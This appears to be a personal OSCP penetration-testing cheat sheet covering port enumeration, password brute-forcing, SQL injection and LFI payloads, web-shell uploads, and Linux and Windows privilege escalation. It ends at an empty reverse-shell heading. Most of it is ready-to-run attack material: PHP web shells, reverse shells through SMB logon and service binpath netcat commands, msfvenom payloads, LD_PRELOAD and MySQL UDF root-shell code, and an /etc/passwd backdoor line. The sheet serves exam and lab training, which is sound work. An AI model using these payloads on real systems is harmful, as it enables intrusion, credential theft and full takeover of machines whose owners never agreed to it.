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OSCP Notes



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Enumeration

Port Scanning :

```
1 nmap -sC -sV -o nmap -A -T5 10.10.10.x
2
3 Host Discovery
4   • nmap -sn 10.10.1.1-254 -vv -oA hosts
5   • netdiscover -r 10.10.10.0/24
6
7 DNS server discovery
8   • nmap -p 53 10.10.10.1-254 -vv -oA dcs
9
10 NSE Scripts Scan
11   * nmap -sV --script=vulscan/vulscan.nse (https://securitytrails.com/blo
12
13 Port specific NSE script list :
14
15 ls /usr/share/nmap/scripts/ssh*
16 ls /usr/share/nmap/scripts/smb*
```

Scanning all 65535 ports :

```
1 masscan -p1-65535,U:1-65535 --rate=1000 10.10.10.x -e tun0 > ports
2 ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | so
3 nmap -Pn -sV -sC -p$ports 10.10.10.x
4
5 Running specific NSE scripts :
6   nmap -Pn -sC -sV --script=vuln*.nse -p$ports 10.10.10.x -T5 -A
```

sC - default scripts, **sV** - scan for versions, **oA**- output all formats

Optional - **sT** (performs full scan instead of syn-scan to prevent getting flagged by firewalls)

From Apache Version to finding Ubuntu version -> ubuntu httpd versions

FTP : (Port 21)

- anonymous login check
 - ftp <ip address>
 - username : anonymous
 - pwd : anonymous
 - file upload -> put shell.php

SSH : (Port 22)

id_rsa.pub : Public key that can be used in authorized_keys for login

id_rsa : Private key that is used for login. Might ask for password. can be cracked with
`ssh2john` and `john`

- id_rsa
- ssh -i id_rsa user@10.10.10.x
- For passwordless login, add id_rsa.pub to target's authorized_keys
- ssh2john

DNS Zone transfer check : (Port 53)

- If port 53 is open
- Add host to /etc/hosts
- dig axfr smasher.htb @10.10.10.135
- <https://ghostphisher.github.io/smasher2>
- Add the extracted domain to /etc/hosts and dig again

RPC Bind (111)

```

1 rpcclient --user="" --command=enumprivs -N 10.10.10.10
2 rpcinfo -p 10.10.10.10
3 rpcbind -p 10.10.10.10

```

RPC (135)

```

1 rpcdump.py 10.11.1.121 -p 135

```

```
2 rpcdump.py 10.11.1.121 -p 135 | grep ncacb_np // get pipe names
3
4 rpcmap.py ncacb_ip_tcp:10.11.1.121[135]
```

SMB (139 & 445)

<https://0xdf.gitlab.io/2018/12/02/pwk-notes-smb-enumeration-checklist-update1.html>

```
1 nmap --script smb-protocols 10.10.10.10
2
3 smbclient -L //10.10.10.10
4 smbclient -L //10.10.10.10 -N           // No password (SMB Null session)
5 smbclient --no-pass -L 10.10.10.10
6 smbclient //10.10.10.10/share_name
7
8 smbmap -H 10.10.10.10
9 smbmap -H 10.10.10.10 -u '' -p ''
10 smbmap -H 10.10.10.10 -s share_name
11
12 crackmapexec smb 10.10.10.10 -u '' -p '' --shares
13 crackmapexec smb 10.10.10.10 -u 'sa' -p '' --shares
14 crackmapexec smb 10.10.10.10 -u 'sa' -p 'sa' --shares
15 crackmapexec smb 10.10.10.10 -u '' -p '' --share share_name
16
17 enum4linuX -a 10.10.10.10
18
19 rpcclient -U "" 10.10.10.10
20     * enumdomusers
21     * enumdomgroups
22     * queryuser [rid]
23     * getdompwinfo
24     * getusrdompwinfo [rid]
25
26 ncrack -u username -P rockyou.txt -T 5 10.10.10.10 -p smb -v
27
28 mount -t cifs "://10.1.1.1/share/" /mnt/wins
29
30 mount -t cifs "://10.1.1.1/share/" /mnt/wins -o vers=1.0,user=root,uid=0,gid=0
31
32 SMB Shell to Reverse Shell :
33
34 smbclient -U "username%password" //192.168.0.116/sharename
35 smb> logon "/=nc 'attack box ip' 4444 -e /bin/bash"
36
37 Checklist :
38     * Samba symlink directory traversal attack
```

SMB Exploits :

- Samba "username map script" Command Execution - CVE-2007-2447
 - Version **3.0.20** through **3.0.25rc3**
 - Samba-usermap-exploit.py -
<https://gist.github.com/joenorton8014/19aaa00e0088738fc429cff2669b9851>
- Eternal Blue - CVE-2017-0144
 - SMB v1 in Windows Vista SP2; Windows Server 2008 SP2 and R2 SP1; Windows 7 SP1; Windows 8.1; Windows Server 2012 Gold and R2; Windows RT 8.1; and Windows 10 Gold, 1511, and 1607; and Windows Server 2016
 - <https://github.com/adithyan-ak/MS17-010-Manual-Exploit>
- SambaCry - CVE-2017-7494
 - **4.5.9** version and before
 - <https://github.com/opsxcq/exploit-CVE-2017-7494>
-

SNMP (161)

- ```
1 snmpwalk -c public -v1 10.0.0.0
2 snmpcheck -t 192.168.1.X -c public
3 onesixtyone -c names -i hosts
4 nmap -sT -p 161 192.168.X.X -oG snmp_results.txt
5 snmpenum -t 192.168.1.X
```

## IRC (194,6667,6660-7000)

- nmap -sV --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p 194,6660-7000  
irked.htb
- <https://github.com/Ranger11Danger/UnrealIRCD-3.2.8.1-Backdoor> (exploit code)

## NFS (2049)

- showmount -e 10.1.1.27
- mkdir /mnt/nfs
- mount -t nfs 192.168.2.4:/nfspath-shown /mnt/nfs

- Permission Denied ? (<https://blog.christophetd.fr/write-up-vulnix/>)

## MYSQL (3306)

- nmap -sV -Pn -vv 10.0.0.1 -p 3306 –script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql ENUM,mysql-INFO,mysql-QUERY,mysql-USERS,mysql-VARIABLES,mysql-VULN-CVE2012-2122

## Redis (6379)

In the output of config get \* you could find the home of the redis user (usually /var/lib/redis or /home/redis/.ssh), and knowing this you know where you can write the authenticated\_users file to access via ssh with the user redis. If you know the home of other valid user where you have writable permissions you can also abuse it:

1. Generate a ssh public-private key pair on your pc: `ssh-keygen -t rsa`
2. Write the public key to a file :  
`(echo -e "\n\n"; cat ./ssh/id_rsa.pub; echo -e "\n\n") > foo.txt`
3. Import the file into redis : `cat foo.txt | redis-cli -h 10.10.10.10 -x set crackit`
4. Save the public key to the `authorized_keys` file on redis server:

```

1 root@Urahara:~# redis-cli -h 10.85.0.52
2 10.85.0.52:6379> config set dir /home/test/.ssh/
3 OK
4 10.85.0.52:6379> config set dbfilename "authorized_keys"
5 OK
6 10.85.0.52:6379> save
7 OK

```

## Port Knocking :

```

1 TCP
2 knock -v 192.168.0.116 4 27391 159
3
4 UDP
5 knock -v 192.168.0.116 4 27391 159 -u
6

```

```
7 TCP & UDP
8 knock -v 192.168.1.111 159:udp 27391:tcp 4:udp
```

## Misc :

- Run autorecon
- <https://github.com/s0wr0b1ndef/OSCP-note/blob/master/ENUMERATION/enumeration>

## IF NOTHING WORKS

- HTB Admirer ([https://www.youtube.com/watch?v=\\_zMg0fHwwfw&ab\\_channel=IppSec](https://www.youtube.com/watch?v=_zMg0fHwwfw&ab_channel=IppSec))

# Bruteforce

## Directory Bruteforce

Cewl :

```
1 cewl -d 2 -m 5 -w docwords.txt http://10.10.10.10
2
3 -d depth
4 -m minimum word length
5 -w output file
6 --lowercase lowercase all parsed words (optional)
```

## Password / Hash Bruteforce

Hashcat :

[https://hashcat.net/wiki/doku.php?id=example\\_hashes](https://hashcat.net/wiki/doku.php?id=example_hashes) // m parameter

<https://mattw.io/hashID/types> // hashid match

```
1 hashcat -m 0 'hash$' /home/kali/Desktop/rockyou.txt // MD5 raw
2 hashcat -m 1800 'hash$' /home/kali/Desktop/rockyou.txt // sha512crypt
3 hashcat -m 1600 'hash$' /home/kali/Desktop/rockyou.txt // MD5(APR)
4 hashcat -m 1500 'hash$' /home/kali/Desktop/rockyou.txt // DES(Unix), Traditional Unix MD5
5 hashcat -m 500 'hash$' /home/kali/Desktop/rockyou.txt // MD5crypt, MD5 (Universal)
6 hashcat -m 400 'hash$' /home/kali/Desktop/rockyou.txt // Wordpress
```

John :

```
john hashfile --wordlist=/home/kali/Desktop/rockyou.txt --format=raw-md5
```

## Online tools :

- <https://crackstation.net/>
    - LM, NTLM, md2, md4, md5, md5(md5\_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sh1\_bin)),
    - QubesV3.1BackupDefaults
  - <https://www.dcode.fr/tools-list>
    - MD4, MD5, RC4 Cipher, RSA Cipher, SHA-1, SHA-256, SHA-512, XOR Cipher
  - [https://www.md5online.org/md5-decrypt.html \(MD5\)](https://www.md5online.org/md5-decrypt.html)
  - [https://md5.gromweb.com/ \(MD5\)](https://md5.gromweb.com/)
- 

## Protocols Bruteforce

### Hydra

TELNET, FTP, HTTP, HTTPS, HTTP-PROXY, SMB, SMBNT, MS-SQL, MYSQL, REXEC, irc, RSH, RLOGIN, CVS, SNMP, SMTP, SOCKS5, VNC, POP3, IMAP, NNTP, PCNFS, XMPP, ICQ, SAP/R3, LDAP2, LDAP3, Postgres, Teamspeak, Cisco auth, Cisco enable, AFP, Subversion/SVN, Firebird, LDAP2, Cisco AAA

### Medusa

AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NetWare NCP, NNTP, PcAnywhere, POP3, PostgreSQL, REXEC, RLOGIN, RSH, SMBNT, SMTP-AUTH, SMTP-VRFY, SNMP, SSHv2, Subversion (SVN), Telnet, VMware Authentication Daemon (vmauthd), VNC, Generic Wrapper, Web Form

### Ncrack (Fastest)

RDP, SSH, http(s), SMB, pop3(s), VNC, FTP, telnet

### SSH

```
1 ncrack -v -U user.txt -P pass.txt ssh://10.10.10.10:<port> -T5
2 hydra -L users.txt -P pass.txt 192.168.0.114 ssh
```

## Wordlist

```
1 // For removing duplications in wordlist
2 cat wordlist.txt| sort | uniq > new_word.txt
```

## SMB :

```
ncrack -u qiu -P rockyou.txt -T 5 192.168.0.116 -p smb -v
```

## HTTP Post

```
hydra -L users.txt -P rockyou.txt 10.10.10.10 http-post-form "/login.php:use
```

# 80, 443

## Checklist

- View SSL certificates for usernames
  - View Source code
  - Check /robots.txt, .htaccess, .htpasswd
  - Check HTTP Request
  - Run Burp Spider
  - View Console
  - Use Nikto
  - Check OPTIONS
  - HTTP PUT / POST File upload
  - Parameter fuzzing with wfuzz
  - Browser response vs Burp response
  - Shell shock (cgi-bin/status)
  - Cewl wordlist and directory bruteforce
  - `nmap --script http-enum 192.168.10.55`
  - Apache version exploit & other base server exploits
- **Port 443 :**
    - `nmap -Pn -sV --script ssl* -p 443 10.10.10.60 -A -T5`
    - Heartbleed (`sslyze --heartbleed <ip>`)
    - Heartbleed exploit code (<https://gist.github.com/eelsivart/10174134>)
    - Shellshock
    - Poodle

### IIS :

- <https://book.hacktricks.xyz/pentesting/pentesting-web/iis-internet-information-services>
- Try changing file.asp file to file.asp.txt to reveal the source code of the files

### Apache :

- Struts (<https://github.com/LightC0der/Apache-Struts-0Day-Exploit>)
- Shell shock (<https://www.exploit-db.com/exploits/34900>)
- OpenFuck (<https://github.com/exploit-inters/OpenFuck>)

# Directory Enumeration

Apache : x -> php, asp, txt, xml, bak

IIS : x-> asp, aspx, txt, ini, tmp, bak, old

Gobuster **quick** directory busting

```
gobuster dir -w /usr/share/seclists/Discovery/Web_Content/common.txt -t 80 -
```

Gobuster search with file **extension**

```
1 gobuster dir -w /usr/share/seclists/Discovery/Web_Content/common.txt -t 100
2
3 gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
4
5 gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directo
```

Gobuster **comprehensive** directory busting

```
gobuster -s 200,204,301,302,307,403 -w /usr/share/seclists/Discovery/Web_Content/
```

- gobuster dir -t 100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -u http://10.10.10.x
- -k (ignore ssl verification)
- -x specific extension
- Dirbuster
- Change wordlists (Wfuzz, dirb)
- Custom directory enumeration (HTB Obscurity)
  - wfuzz -c -z file,common.txt -u

<http://10.10.10.168:8080/FUZZ/SuperSecureServer.py>

## Parameter Fuzzing

### WFUZZ

- hc - status code to ignore
- hw - word length to ignore
- hh - char length to ignore
- hl - line length to ignore

```
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 --hw 12 ht
```

## Wordpress

### Wpscan

```
1 wpscan --url http://10.10.10.10 -e u,vp // enumerate users & vulnerable pl
2
3 wpscan --url 10.10.10 --passwords rockyou.txt --usernames elliot
```

### Metasploit

```
use auxiliary/scanner/http/wordpress_login_enum
```

### Username Enumeration via Bruteforce



SecurityCompass/wordpress-scripts

[https://github.com/SecurityCompass/wordpress-scripts/blob/master/wp\\_login\\_userEnumeration.py](https://github.com/SecurityCompass/wordpress-scripts/blob/master/wp_login_userEnumeration.py)

```
python wp_brute.py -t http://10.10 -u usernames.txt
```

# SQL Injection

## Payloads

```
1 '
2)'
3 "
4 \
5 ')
6 ")
7 `)
8 '))
9 "))
10 `))
11 '--SLEEP(30); #
```

## Login Bypass

```
1 Both user and password or specific username and payload as password
2
3 ' or 1=1 --
4 ' or '1'='1
5 ' or 1=1 --+
6 user' or 1=1;#
7 user' or 1=1 LIMIT 1;#
8 user' or 1=1 LIMIT 0,1;#
```

## UNION BASED SQL

```
1 order by 1
2 ' UNION SELECT 1,2,3 -- -
3 ' UNION SELECT 1,@@version,3 -- -
4 ' UNION SELECT 1,user(),3 -- -
5 ' UNION SELECT 1,load_file('/etc/passwd'),3 -- -
6 ' UNION SELECT 1,load_file(0x2f6574632f706173737764),3 -- - //hex encode
7
8 ' UNION SELECT 1,load_file(char(47,101,116,99,47,112,97,115,115,119,100))
9 ,3 -- - // char encode
```

```
1 // List databases available
2 ' UNION SELECT 1,2,3,4,5,group_concat(table_schema) from information_schema.
3
4 // Fetch Table names
5 ' UNION SELECT 1,group_concat(table_name),3 from information_schema.tables
6 union all select 1,2,3,4,table_name,6 FROM information_schema.tables
7
8 // Fetch Column names from Table
9 ' UNION SELECT 1,group_concat(column_name),3 from information_schema.columns
10 union all select 1,2,3,4,column_name,6 FROM information_schema.columns whe
11
12 // Dump data from Columns using 0x3a as seperator
13 ' UNION SELECT 1,group_concat(user,0x3a,password),3 from users limit 0,1-- -
14
15 // Backdoor
16
17 union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into 0
```

## MSSQL

```
'; WAITFOR DELAY '00:00:30'; --
```

# File Upload

## HTTP PUT

```
1 nmap -p 80 192.168.1.103 --script http-put --script-args http-put.url='/dav'
2
3 curl -X PUT -d '<?php system($_GET["c"]);?>' http://192.168.2.99/shell.php
```

## Cadaver

```
1 cadaver http://192.168.1.103/dav/
2 put /tmp/shell.php
```

## JPG to PNG shell

```
1 <?php system($_GET['cmd']); ?> //shell.php
2 exiftool "-comment<=shell.php" malicious.png
3 strings malicious.png | grep system
```

## Upload Files through POST

```
1 # POST file
2 curl -X POST -F "file=@/file/location/shell.php" http://$TARGET/upload.php
3
4 # POST binary data to web form
5 curl -F "field=<shell.zip" http://$TARGET/upld.php -F 'k=v' --cookie "k=v";
```

## POST binary data to a web form

```
curl -F "field=<shell.zip" http://\$TARGET/upld.php -F 'k=v' --cookie "k=v;" -F "submit=true" -L -v
```

PUTing File on the Webhost via PUT verb

```
curl -X PUT -d '<?php system($_GET["c"]);?>' http://192.168.2.99/shell.php
```

# LFI

## Files

```
1 /etc/passwd
2 /etc/shadow
3 /etc/knockd.conf // port knocking config
```

## LFI with Wfuzz

```
wfuzz -c -w /usr/share/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt
```

## Basic LFI

```
1 http://url/index.php?page=../../../../etc/passwd
2 http://url/index.php?page=../../../../etc/shadow
3 http://url/index.php?page=../../../../home/user/.ssh/id_rsa.pub
4 http://url/index.php?page=../../../../home/user/.ssh/id_rsa
5 http://url/index.php?page=../../../../home/user/.ssh/authorized_keys
```

## Null byte (%00)

```
http://url/index.php?page=../../../../etc/passwd%00
```

## php://filter

```
1 http://url/index.php?page=php://filter/convert.base64-encode/resource=index
2 http://url/index.php?page=pHp://Filter/convert.base64-encode/resource=index
```

---

**input://**

```
1 http://url/index.php?page=php://input
2 POST DATA: <?php system('id'); ?>
```

# Linux Privilege Escalation

## OS & User Enumeration :

```
1 ##### User Enumeration #####
2
3 whoami
4 id
5 sudo -l
6 cat /etc/passwd
7 ls -la /etc/shadow
8
9 ##### OS Enumeration #####
10
11 cat /etc/issue
12 cat /etc/*-release
13 cat /proc/version
14 uname -a
15 arch
16 ldd --verion
17
18 ##### Installed tools #####
19
20 which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp
21
22 ##### File owners and permissions #####
23
24 ls -la
25 find . -ls
26 history
27 cat ~/.bash_history
28 find / -type f -user <username> -readable 2> /dev/null # Readable files for user
29 find / -writable -type d 2>/dev/null # Writable files by the user
30 find /usr/local/ -type d -writable
31
32 ##### File mount #####
33
34 /mnt /media -> usb devices and other mounted disks
35 mount -> show all the mounted drives
36 df -h -> list all partitions
37 cat /etc/fstab # list all drives mounted at boot time
38 /bin/lsblk
39
40 ##### Applications #####
41
42 dpkg -l # for Debian based systems
43
```

```
44 ##### Cron tabs #####
45
46 ls -lah /etc/cron*
47 cat /etc/crontab
48 ls -la /var/log/cron* # Locating cron logs
49 find / -name cronlog 2>/dev/null
50 grep "CRON" /var/log/cron.log # for locating running jobs from logs
51 grep CRON /var/log/syslog # grepping cron from syslog
52
53
54 ##### Internal Ports #####
55
56 Netstat -alnp | grep LIST | grep port_num
57 Netstat -antp
58 netstat -tulnp
59 curl the listening ports
60
61 ##### Interesting DIRS #####
62 /
63 /dev
64 /scripts
65 /opt
66 /mnt
67 /var/www/html
68 /var
69 /etc
70 /media
71 /backup
72
73 ##### SUID Binaries #####
74
75 (https://www.hackingarticles.in/linux-privilege-escalation-using-suid-binaries/)
76
77 find / -type f -a \(-perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
78 find / -perm -u=s -type f 2>/dev/null
79 find / -perm -4000 -user root 2>/dev/null
80 ldd /usr/bin/binary-name
81 strace /usr/local/bin/fishybinary 2>&1 | grep -iE "open|access|no such file"
82
83 ##### Firewall Enumeration #####
84
85 grep -Hs iptables /etc/*
86
87 ##### Kernal Modules #####
88
89 lsmod
90 /sbin/modinfo <mod name>
91
92
```

## PrivEsc Checklist :

- sudo rights (<https://medium.com/schkn/linux-privilege-escalation-using-text-editors-and-files-part-1-a8373396708d>)
- sensitive files & permission misconfiguration (SSH keys, shadow files)
- SUID Binaries
- Internal Ports
- Processes running with root privilege
- Cron tabs
  - Hidden cron process with pspy
- Mounted filesystems
- TMUX session hijacking
- Path Hijacking
- Process Injection ([https://github.com/nongiach/sudo\\_inject](https://github.com/nongiach/sudo_inject))
- Docker PS
- Interesting groups (<https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe>)
  - Wheel
  - Shadow
  - Disk
  - Video
  - Root
  - Docker
  - lxd - (<https://www.hackingarticles.in/lxd-privilege-escalation/>)
- Environment variables
- bash version < 4.2-048 | 4.4 (<https://tryhackme.com/room/linuxprivesc> Task 14, 15)
- NFS Misconfiguration
- linpeas.sh -a //all checks

## SUID Shared Object Injection :

- Find a SUID binary that looks fishy

```
strace /usr/local/bin/fishybinary 2>&1 | grep -iE "open|access|no such file"
```
- Match the shared object that sits in a path where you have write access
- create a shared object in the missing SO file name
- run the SUID binary

## NFS Misconfiguration :

<https://tryhackme.com/room/linuxprivesc> (Task 19)

- cat /etc/exports
- On Kali
  - mkdir /tmp/nfs
  - mount -o rw,vers=2 10.10.10.10:/tmp /tmp/nfs
  - msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
  - chmod +xs /tmp/nfs/shell.elf
- On Target
  - /tmp/shell.elf

---

## Kernel Exploits

- cat /proc/version
- uname -r
- uname -mrs
- cat /etc/lsb-release
- cat /etc/os-release
- gcc exploit.c -o exp
- Compile exploit in local machine and upload to remote machine
  - gcc -m32 -Wl,--hash-style=both 9542.c -o 9542
  - apt-get install gcc-multilib

## Recover Deleted Files :

- extundelete (HTB mirai - <https://tiagotavares.io/2017/11/mirai-hack-the-box-retired/>)
- strings

## C Program to SetUID /bin/bash :

```
gcc -Wall uid.c -o exploit
```

```
sudo chown root exploit
```

```
sudo chmod u+s exploit
```

```
$ ls -l exploit
-rwsr-xr-x 1 root users 6894 11 sept. 22:05 exploit
```

```
1 #include <unistd.h>
2
3 int main()
4 {
5 setuid(0);
6 execl("/bin/bash", "bash", (char *)NULL);
7 return 0;
8 }
```

```
./exploit
whoami
root
```

## Tools :

- Linux Exploit Suggester (HTB Nibbles) (<https://github.com/mzet-/linux-exploit-suggester>)
- SUIDENUM (<https://github.com/Anon-Exploiter/SUID3NUM>)
- LinEnum.sh (<https://github.com/rebootuser/LinEnum>)
- linpeas.sh (<https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS>)
- Linprivchecker (<https://github.com/sleventyone/linuxprivchecker>)
- pspy (<https://github.com/DominicBreuker/pspy>) (crontabs)

## Resources :

- [https://sushant747.gitbooks.io/total-oscp-guide/privilege\\_escalation\\_-\\_linux.html](https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_-_linux.html)
- <https://github.com/IgniteTechnologies/Privilege-Escalation>
- <https://gtfobins.github.io/>
- <https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/>

# Mysql

MYSQL UDF Exploit: <https://www.exploit-db.com/exploits/1518>

```
1 gcc -g -c raptor_udf2.c -fPIC
2 gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -
3
4 mysql -u root
5
6 use mysql;
7 create table foo(line blob);
8 insert into foo values(load_file('/home/raptor_udf2.so'));
9 select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
10 create function do_system returns integer soname 'raptor_udf2.so';
11
12 select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');
13
14 exit
15
16 user@target$ /tmp/rootbash -p
```

MYSQL running as root :

```
1 mysql -u root
2
3 select sys_exec('whoami');
4 select sys_eval('whoami');
5
6 /* If function doesnt exist, create the function */
7 CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
8
9 if NULL returns, try redirecting the errors
10 select sys_eval('ls /root 2>&1');
```

# Sudo Abuse

```
1 $ sudo -l
2 [sudo] password for appadmin:
3 User appadmin may run the following commands on this host:
4 (root) /opt/Support/start.sh
```

## Checklist

- Write permission to `start.sh`
- write permission to the `/opt/support`
- Create `start.sh` if doesn't exist

## Environment Variables

(<https://tryhackme.com/room/linuxprivesc>)

Check which environment variables are inherited (look for the `env_keep` options):

```
sudo -l
```

## LD\_PRELOAD

`LD_PRELOAD` is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library.

```
1 /* Preload.c */
2
3 #include <stdio.h>
4 #include <sys/types.h>
5 #include <stdlib.h>
6
7 void _init() {
```

```
8 unsetenv("LD_PRELOAD");
9 setresuid(0,0,0);
10 system("/bin/bash -p");
11 }
```

```
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
```

Run one of the programs you are allowed to run via sudo (listed when running **sudo -l**), while setting the `LD_PRELOAD` environment variable to the full path of the new shared object:

```
sudo LD_PRELOAD=/tmp/preload.so program-name-here
```

## LD\_LIBRARY\_PATH

`LD_LIBRARY_PATH` provides a list of directories where shared libraries are searched for first.

Run `ldd` against the any program that you can execute as sudo (`sudo -l`) to see which shared libraries are used by the program:

```
ldd /usr/sbin/apache2
```

Create a shared object with the same name as one of the listed libraries (`libcrypt.so.1`) using the code located at `/home/user/tools/sudo/library_path.c`:

```
1 /* Library_path.c */
2
3 #include <stdio.h>
4 #include <stdlib.h>
5
6 static void hijack() __attribute__((constructor));
7
8 void hijack() {
9 unsetenv("LD_LIBRARY_PATH");
10 setresuid(0,0,0);
11 system("/bin/bash -p");
12 }
```

```
gcc -o /tmp/libcrypt.so.1 -shared -fPIC library_path.c
```

Run program using sudo, while settings the LD\_LIBRARY\_PATH environment variable to /tmp (where we output the compiled shared object):

```
sudo LD_LIBRARY_PATH=/tmp program-name-here
```

# Escalation Methods

```
1 echo root:glob0 | /usr/sbin/chpasswd
2
3 // exploit : exploit (pwd)
4 echo "exploit:YZE7YPhZJyUks:0:0:root:/root:/bin/bash" >> /etc/passwd | su -
5
6 nano /etc/passwd -> change GID to root
7
8 nano /etc/sudoers -> user ALL=(ALL) NOPASSWD:ALL
9
10 cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash;
11 /tmp/rootbash -p
```

# Windows Privilege Escalation

## Enumeration

- OS Info Enumeration

- systeminfo
- hostname
- echo %username%
- wmic qfe -> check patches
- wmic logicaldisk -> get other disk information

- User Enumeration

- whoami
- whoami /priv -> check user privileges
- whoami /groups -> check user groups
- net user -> list all users
- net user <username> -> check groups associated with a user
- net localgroup -> Check all the local groups available
- net localgroup <group name> -> List the members of the given localgroup

- Task | Service | Process Enumeration

- sc queryex type= service (Lists all the service)
- tasklist /SVC
- tasklist
- net start
- DRIVERQUERY
- wmic product get name, version, vendor

- Permission Enumeration

- C:\Program Files : icacls program\_name
- icacls root.txt /grant <username>:F (to grant permission to access file)
- Check the PowerShell history file
  - type  
C:\Users\sql\_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost\_history.txt
- Check stored usernames and passwords
  - cmdkey /list

- Network based

- ipconfig
- ipconfig /all
- arp -a
- router print
- netstat -ano

- Password Hunting

```
1 findstr /si password *.txt *.ini *.config (try searching in different files)
2 dir /s *pass* == *cred* == *vnc* == *.config*
3 dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc*
4 where /R C:\ user.txt
5 where /R C:\ *.ini
```

- [Swisskyrepo](#) for manual pwd enumeration

- AV / Firewall check / Service Enumeration

```
1 sc query windefend
2 netsh advfirewall firewall dump
3 netsh advfirewall show currentprofile
4 netsh advfirewall firewall show rule name=all
5 netsh firewall show state (show firewall running or stopped)
6 netsh firewall show config (show firewall configuration)
7
8 netsh firewall set opmode disable # Disable firewall
```

- Scheduled Tasks

```
schtasks /query /fo LIST /v
```

- Mount Information

- o mountvol
- 

## Escalation Techniques

### Service Account Priv Esc (Token Impersonation)

- whoami /priv

#### Run As :

Use the cmdkey to list the stored credentials on the machine.

```
1 cmdkey /list
2 Currently stored credentials:
3 Target: Domain:interactive=WORKGROUP\Administrator
4 Type: Domain Password
5 User: WORKGROUP\Administrator
```

Using runas with a provided set of credential.

```
runas /savecred /user:admin C:\PrivEsc\reverse.exe
```

```
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:
```

#### Access check :

- accesschk.exe -ucqv [service\_name] /accepteula  
accesschk.exe -uwcqv "Authenticated Users" \* (won't yield anything on Win 8)
-

- ***Find all weak folder permissions per drive.***

```
accesschk.exe /accepteula -uwdqs Users c:\
o
accesschk.exe /accepteula -uwdqs "Authenticated Users" c:\
o
```

- ***Find all weak file permissions per drive.***

```
o accesschk.exe /accepteula -uwsf "Everyone" "C:\Program Files"
accesschk.exe /accepteula -uwqs Users c:*.*
o
accesschk.exe /accepteula -uwqs "Authenticated Users" c:*.*
o
```

- ***Powershell :***

```
Get-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{$_.AccessToString -m
```

- ***Binary planting***

(<https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services>)

```
o sc qc [service_name] // for service properties
o sc query [service_name] // for service status
sc config [service_name] binpath= "C:\Temp\nc.exe -nv [RHOST] [RPORT] -e C:\WINDOWS\System32\cmd.exe"
o
sc config [service_name] obj= ".\LocalSystem" password= ""
o
o net start [service_name]
```

## Unquoted Service Path Privilege Escalation

- <https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/>

```
wmic service get name,displayname,pathname,startmode |findstr /i "Auto"
```

## Always Install Elevated :

```
1 reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
2 reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
3
4 msfvenom -p windows/shell_reverse_tcp LHOST=10.x.x.x LPORT=4444 -f msi > .
5
6 C:> msieexec /quiet /qn /i install.msi
```

### Kernel Exploits :

- <https://github.com/abatchy17/WindowsExploits>
- <https://github.com/SecWiki/windows-kernel-exploits>
- run `systeminfo` | capture the output and run `windows-exploit-suggester.py`
- Compiling Kernel Exploits :

```
i686-w64-mingw32-gcc exploit.c -o exploit
```

or for 32 bit

```
i686-w64-mingw32-gcc 40564.c -o 40564 -lws2_32
```

---

## Automated Enumeration Tools

### Powershell:

- powershell -ep bypass
- load powershell (only in meterpreter)
- Sherlock (<https://github.com/rasta-mouse/Sherlock>)
- <https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc> (PowerUp)

EXE : (<https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#exe>)

- WinPeas [ <https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS> ]
- Accesschk.exe  
[[https://github.com/jivoi/pentest/blob/master/post\\_win/accesschk\\_exe](https://github.com/jivoi/pentest/blob/master/post_win/accesschk_exe)]
- PowerUp (<https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc>)
- Seatbelt (<https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt>)

**Other :** Windows Exploit Suggester (<https://github.com/AonCyberLabs/Windows-Exploit-Suggester>)

### **Metasploit :**

- getsystem
- run post/multi/recon/local\_ exploit\_ suggester

### **Resources :**

- [https://sushant747.gitbooks.io/total-oscp-guide/privilege\\_escalation\\_windows.html](https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html)
- <https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md>
- <https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/>
- <http://www.fuzzysecurity.com/tutorials/16.html>
- <https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation> (Win PrivEsc Checklist)
- <https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/>

# Linux Reverse Shells

## Awk

```
